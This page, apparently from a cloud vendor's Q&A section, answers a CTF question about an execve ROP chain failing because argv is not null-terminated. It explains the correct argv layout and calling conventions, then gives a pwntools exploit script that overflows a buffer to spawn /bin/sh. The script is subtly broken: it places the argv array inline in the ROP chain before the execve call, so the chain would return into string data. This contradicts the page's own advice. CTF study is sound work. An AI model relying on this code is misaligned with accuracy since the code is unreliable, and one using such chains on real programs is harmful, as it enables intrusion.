You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

CTF中execve调用argv数组空终止失效问题求助

问题分析与解决方案

错误原因

报错whoami: 0: cannot open : No such file表明/bin/sh错误地将数值0(空指针的十六进制表示)当作了要执行的脚本文件名,核心问题是**execve调用的argv数组构造不符合要求**:

  • execve("/bin/sh", argv, envp)中,argv必须是["/bin/sh", "-c", "whoami", NULL]的结构,-c和whoami是两个独立的数组元素,且数组必须以空指针(NULL)终止
  • 若argv结构错误(比如将"-c whoami"合并为一个元素、空指针未正确设置或被覆盖),shell会解析失败,出现上述错误

正确构造ROP链的步骤

1. 栈上写入字符串

先将需要的字符串按顺序写入栈中,每个字符串必须以**空字节\x00**结尾:

  • /bin/sh\x00:execve的第一个参数
  • -c\x00:shell的命令行参数
  • whoami\x00:-c对应的命令内容

2. 构造合法的argv数组

argv数组需要依次包含以下地址,且最后以空指针(0)终止:

  1. /bin/sh的栈地址
  2. -c的栈地址
  3. whoami的栈地址
  4. 0(空指针)

3. 传递execve的参数

根据架构(x86/x86_64)的调用约定,将参数加载到对应寄存器:

  • x86_64:rdi = /bin/sh地址,rsi = argv数组地址,rdx = envp(设为0即可)
  • x86:ebx = /bin/sh地址,ecx = argv数组地址,edx = envp

示例EXP代码(x86_64架构)

from pwn import *

# 连接目标程序,若为远程则替换为remote()
p = process("./vuln")

# 1. 构造栈上的字符串区域(每个字符串以\x00结尾)
str_section = b'/bin/sh\x00' + b'-c\x00' + b'whoami\x00'

# 2. 填充到ROP链的起始位置(根据程序的溢出偏移调整0x40)
payload = str_section + b'A' * (0x40 - len(str_section))

# 3. 定义ROP gadgets(需根据目标程序的实际地址替换)
pop_rdi = 0x401234          # pop rdi; ret
pop_rsi_r15 = 0x401236      # pop rsi; pop r15; ret
pop_rdx = 0x401238          # pop rdx; ret
execve_plt = 0x401040       # execve的PLT地址

# 4. 计算栈上各字符串和argv数组的地址(需根据实际栈地址调整,若有PIE需先泄露基地址)
base_stack = 0x7fffffffdd00  # 示例栈基地址
bin_sh_addr = base_stack
c_flag_addr = bin_sh_addr + len(b'/bin/sh\x00')
whoami_addr = c_flag_addr + len(b'-c\x00')
argv_addr = base_stack + len(payload)  # argv数组放在ROP链之后的栈位置

# 5. 构造ROP链传递execve参数
payload += p64(pop_rdi) + p64(bin_sh_addr)
payload += p64(pop_rsi_r15) + p64(argv_addr) + p64(0)  # r15填任意值即可
payload += p64(pop_rdx) + p64(0)  # envp设为NULL

# 6. 将argv数组写入栈中
payload += p64(bin_sh_addr)
payload += p64(c_flag_addr)
payload += p64(whoami_addr)
payload += p64(0)  # 空指针终止数组

# 7. 调用execve
payload += p64(execve_plt)

# 发送payload并交互
p.sendline(payload)
p.interactive()

额外注意事项

  • 若目标程序开启PIE,需先泄露程序基地址或栈地址,再计算各字符串和gadget的实际地址
  • 确保栈上的字符串和argv数组未被后续ROP指令覆盖
  • 若为x86架构,需调整gadget和寄存器传递逻辑(使用ebx/ecx/edx而非rdi/rsi/rdx)

内容的提问来源于stack exchange,提问作者Marius Romeiser

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.23 19:32:36